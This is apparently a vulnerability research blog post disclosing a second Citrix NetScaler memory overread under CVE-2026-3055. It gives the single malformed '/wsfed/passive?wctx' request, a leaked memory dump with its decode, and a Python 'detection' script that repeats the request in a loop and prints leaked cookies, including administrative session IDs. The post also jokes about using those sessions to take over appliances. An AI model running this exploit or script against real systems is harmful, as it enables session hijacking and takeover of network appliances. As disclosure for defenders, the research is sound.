Please, We Beg, Just One Weekend Free Of Appliances (Citrix NetScaler CVE-2026-3055 Memory Overread Part 2)
Today, we woke up with a nagging feeling: what if Citrix had, in fact, patched multiple Memory Overread vulnerabilities as part of CVE-2026-3055?

While we've been using our analysis from Part 1 (please read it first, as this post will be brief) to accurately identify exploitable Citrix NetScaler appliances across the watchTowr client base, we couldn't help but wonder: could there be more hiding in Citrix's patches?
These thoughts, and worse, naturally come to us at 6 am on a Sunday morning.
Welcome back to the hellscape, and yet another watchTowr Labs blog post.

What we can confidently conclude, post-analysis, is that CVE-2026-3055 is not one singular memory overread vulnerability. In fact, this CVE ID has been assigned to at least two memory overread vulnerabilities, affecting the following endpoints:
- /saml/login
- /wsfed/passive?wctx
Some would say this is disingenuous, Citrix.
Unrelated, and without comment, we leave a screenshot of part of CISA's Secure By Design pledge, which of course Citrix are a signer of:

The prerequisites for exploitation haven't changed, to quote from Part 1:
Citrix advises that the vulnerability is only exploitable if the appliance is 'configured as a SAML IDP'. This is a cursed configuration to begin with, and we can think of no appliance more poorly-suited to the task of being an IdP than this class of network device.
Before we move on, we need to say something clearly: in-the-wild exploitation has begun, with evidence from our honeypot network showing exploitation from known threat actor source IPs as of March 27th.
This is an impressive turnaround time for a vulnerability Citrix identified internally.
It also goes without saying that at this stage, we should all be depressed that we are overwhelmed with evidence that memory management on a critical appliance is "not great". Like we said in Part 1, as part of this analysis process, we identified a further instance and have reported it to Citrix.
So What Is CVE-2026-3055 Part 2?
GET /wsfed/passive?wctx HTTP/1.1
Host: a-fun-hostname-for-f5-to-mark-as-an-ioc.com
Yes, that's it.
For exploitation - it looks, smells, and quacks in the same way as CitrixBleed2 did - a wctx querystring parameter needs to be present, but has no value and lacks the = symbol.
An unpatched/vulnerable Citrix NetScaler will mistakenly check only for its presence before accessing the buffer associated with the variable, rather than checking for the presence of associated data.
Since there is no actual value in the request, it just points to dead memory. Ooops.
If the target Citrix NetScaler is vulnerable, it'll leak memory all over the place and look like a crime scene. This memory arrives, yet again, base64-encoded in the very same NSC_TASS cookie we discussed before, but without any of the limitations of the "other" vulnerability patched within CVE-2026-3055.
It works every(ish) time, and discloses kilobytes of memory.
This is Bad(tm):
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=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;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src http://localhost:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action 'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>YIKES. That's a whole bunch of blood dead memory.
What does it decode to, once we strip off that base64? Well, let's show you:
00000000 61 73 64 66 00 77 73 66 65 64 26 63 6c 69 65 6e |asdf.wsfed&clien|
00000010 74 2d 72 65 71 75 65 73 74 2d 69 64 3d 26 77 61 |t-request-id=&wa|
00000020 3d 26 77 63 74 78 3d 48 54 54 50 2f 31 2e 31 0d |=&wctx=HTTP/1.1.|
00000030 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 2e 38 |.Host: 192.168.8|
00000040 30 2e 31 32 35 0d 0a 0d 0a 21 fa 57 1b 3d d7 ef |0.125....!.W.=..|
00000050 47 18 45 b0 59 3d b4 05 b4 a1 00 00 00 00 b4 78 |G.E.Y=.........x|
00000060 74 73 2f 32 2e 33 32 2e 35 0d 0a 41 63 63 65 70 |ts/2.32.5..Accep|
00000070 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 |t-Encoding: gzip|
00000080 2c 20 64 65 66 6c 61 74 65 2c 20 62 72 0d 0a 41 |, deflate, br..A|
00000090 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 43 6f 6e 6e |ccept: */*..Conn|
000000a0 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 |ection: keep-ali|
000000b0 76 65 0d 0a 0d 0a 42 c1 a1 94 2f 97 96 30 ef f2 |ve....B.../..0..|
000000c0 47 91 81 7b 0f b7 9e c5 69 37 3b c7 c6 d8 84 23 |G..{....i7;....#|
000000d0 2a fe b7 d5 a9 c2 81 f9 ff 0f 0a 72 c1 69 25 d5 |*..........r.i%.|
000000e0 1e 31 ec c6 05 0f 2b b1 73 d0 e1 0f 6f f8 2c a0 |.1....+.s...o.,.|
000000f0 3e 06 e7 bd 58 fa e1 d5 8e 11 ef 75 f2 93 b3 ff |>...X......u....|
00000100 91 9b e5 94 00 00 00 00 61 3a 66 68 3b a9 a0 37 |........a:fh;..7|
00000110 18 e7 9c 50 8d ed b9 92 4c 3d 56 f1 25 99 40 00 |...P....L=V.%.@.|
00000120 15 00 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000610 00 00 00 00 00 00 00 00 00 aa aa aa 11 00 00 00 |................|
00000620 00 00 00 00 00 00 00 00 00 f5 03 06 00 54 9e 00 |.............T..|
00000630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000650 00 3f 72 23 01 00 00 00 00 04 00 00 00 00 00 00 |.?r#............|
00000660 00 00 00 00 00 b2 03 00 00 80 5e 9f 0b 01 00 00 |..........^.....|
00000670 00 00 00 01 00 36 a4 5e 6a 40 e1 bd 0b 01 00 00 |.....6.^j@......|
00000680 00 00 00 00 00 00 00 00 00 00 66 ed 17 01 00 00 |..........f.....|
00000690 00 00 00 00 00 00 00 00 00 5d a5 1b b6 01 00 01 |.........]......|
000006a0 00 a2 5e 9f 0b 01 00 00 00 40 47 d5 1a 01 00 00 |..^......@G.....|
000006b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000006c0 00 5b 74 23 01 7f 00 00 01 00 00 60 56 00 00 00 |.[t#.......`V...|
000006d0 00 00 00 00 00 00 00 00 00 00 03 03 83 00 00 00 |................|
000006e0 00 00 50 41 ff 84 00 00 00 79 ad be 45 c3 c9 0b |..PA.....y..E...|
000006f0 6c 08 00 00 00 00 51 18 00 b6 5e 9f 0b 01 00 00 |l.....Q...^.....|
00000700 00 b6 5e 9f 0b 01 00 00 00 7c 03 7c 03 33 16 01 |..^......|.|.3..|
00000710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000790 00 00 00 00 00 00 00 00 00 00 0c 29 53 f9 90 00 |...........)S...|
000007a0 0c 29 53 f9 86 08 00 45 00 03 a4 00 00 40 00 40 |.)S....E.....@.@|
000007b0 06 39 51 7f 00 00 01 7f 00 00 02 00 50 41 ff 45 |.9Q.........PA.E|
000007c0 be ad 79 6c 0b c9 c3 50 18 04 02 4e e3 00 00 ad |..yl...P...N....|
000007d0 a4 75 31 bb 5a 54 63 21 b0 14 32 4d c8 04 56 30 |.u1.ZTc!..2M..V0|
000007e0 10 44 c2 92 2a 29 4b d5 cd d7 28 24 59 83 70 89 |.D..*)K...($Y.p.|
000007f0 df e0 50 22 d5 99 cc 6f c6 4b 34 b0 1a e8 df 85 |..P"...o.K4.....|
00000800 69 dc e4 b1 ed 9e ec ce 54 36 bd a2 a0 b3 b4 89 |i.......T6......|
00000810 01 04 42 59 4b f7 17 35 53 5e 5e 8f 73 4f 29 05 |..BYK..5S^^.sO).|
00000820 d2 92 67 c6 74 72 65 b4 9e ab f1 39 46 65 6e 19 |..g.tre....9Fen.|
00000830 09 30 e8 84 4f ae f0 28 f9 6e 5e 4d 46 e3 16 85 |.0..O..(.n^MF...|
00000840 4c 53 37 13 0a b2 15 d1 8c ae ae 8d 19 08 04 91 |LS7.............|
00000850 82 fa 4c 68 6a 7a 08 fd b2 eb 1c f9 6e 91 83 3c |..Lhjz......n..<|
00000860 4d e7 30 81 5a 01 52 33 1b 17 43 48 5a 5b 24 30 |M.0.Z.R3..CHZ[$0|
00000870 d7 75 10 8b 57 3d 96 30 3f 89 c8 10 3c b5 1e 7c |.u..W=.0?...<..||
00000880 69 ef 09 a1 66 5a 9f 3d 90 c8 76 a5 bc d5 53 61 |i...fZ.=..v...Sa|
00000890 cf 05 78 93 93 82 40 ec ba 99 4e ab ad f3 35 e4 |..x...@...N...5.|
000008a0 bf 6a a1 ea af d3 a4 f6 66 f6 3b 98 b4 6a ac 3d |.j......f.;..j.=|
000008b0 e0 83 3e 27 01 d0 42 a1 5e 0b 17 08 ac fc ed 1b |..>'..B.^.......|
000008c0 a0 7a 6a a7 9d 95 d3 ca c5 f3 28 3b 60 d7 3a 30 |.zj.......(;`.:0|
000008d0 9f 7a 2d 68 69 ab 2d 05 0d 53 9a 93 be 6e 0b 7c |.z-hi.-..S...n.||
000008e0 2f 00 5e 42 30 d8 be 1d 3b 06 1c fe a7 0e c1 04 |/.^B0...;.......|
000008f0 06 c0 1c 2e c0 f7 6e bf 0e 20 75 74 5f be 98 2c |......n.. ut_..,|
00000900 87 d7 d3 72 99 eb 7e b6 2b 0c e9 85 13 b5 dd 33 |...r..~.+......3|
00000910 40 ca b8 55 fa 60 17 8b b3 95 01 79 c5 f3 d6 df |@..U.`.....y....|
00000920 d9 73 9d 68 de 28 a2 cf 06 50 00 0c f2 40 20 6c |.s.h.(...P...@ l|
00000930 5a ba 87 3f 38 a5 a4 58 72 24 8a d0 b0 d1 3a 87 |Z..?8..Xr$....:.|
00000940 3d 50 b5 f8 c3 a6 b6 83 e8 79 c6 41 68 67 8f d5 |=P.......y.Ahg..|
00000950 51 2c 93 4d aa 37 96 ae 18 72 c6 aa eb f2 9d 9b |Q,.M.7...r......|
00000960 82 e8 86 ab 6f 72 e6 14 79 0e 9b f3 29 07 81 c5 |....or..y...)...|
00000970 0a 7f 0c 2c f3 22 fb 7e b4 60 04 c2 02 c0 5a 59 |...,.".~.`....ZY|
00000980 e0 17 87 56 c7 20 d2 f9 e3 50 99 c1 0e d3 7f 51 |...V. ...P.....Q|
00000990 f1 67 71 6e 9e 87 ab e8 74 05 54 87 bf 28 57 8e |.gqn....t.T..(W.|
000009a0 ee c0 a7 24 3d 29 75 01 47 f6 2d fc ea e4 b2 d8 |...$=)u.G.-.....|
000009b0 85 8f 5e 60 8c 14 be de 47 26 |..^`....G&|
000009ba
Contrast this with the response from a patched device:
HTTP/1.0 302 Object Moved
Pragma: no-cache
Location: /
Connection: close
The memory is also very dynamic: submit the same request twice and you'll get different chunks each time.
At this stage, we've seen so many CitrixBleed-variations that this pattern is fairly familiar for many, we assume - send the request many times, see what you get:

If you're really patient and hold on a few minutes, you'll get the really interesting stuff:

Is that a session ID for an administrative session that just happened to be open at the same time as the bleed?!
Yes, yes it is.
Interestingly, the requests we're seeing seem to be internal to the NetScaler itself, going by the presence of the Citrix-ns-orig-srcip header.
Anyway, the important thing is that we can clearly demonstrate obtaining sensitive information - including authenticated administrative session IDs.
Put more simply, we're now the (totally legit) administrators of a target Citrix NetScaler appliance. Drop it into your browser, your automation, your LLM - and democratize remote access for the world.

Detection Artifact Generator
As we stated above, in-the-wild exploitation has already begun (we have evidence suggesting exploitation started by at least March 27th).
Therefore, we're releasing our Detection Artifact Generator to enable defenders to identify vulnerable hosts in their estates.
import base64
import requests
import urllib3
urllib3.disable_warnings()
BANNER = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-Citrix-NetScaler-CVE-2026-3055.py
(*) Citrix NetScaler Memory Overread Detection Artifact Generator - Aliz Hammond of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-3055]
"""
print(BANNER)
while True:
try:
resp = requests.get("https://<host>/wsfed/passive?wctx", verify=False, allow_redirects=False)
tass = resp.cookies.get('NSC_TASS', None)
if tass is None:
continue
tassText = base64.b64decode(tass)
memIdx = tassText.find(b'wctx=')
if memIdx != -1:
bled = tassText[memIdx+5:]
cookiePos = bled.find(b'Cookie')
if cookiePos != -1:
print(bled[cookiePos:].decode('ascii', errors='ignore'))
except Exception:
passA closing thought:

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.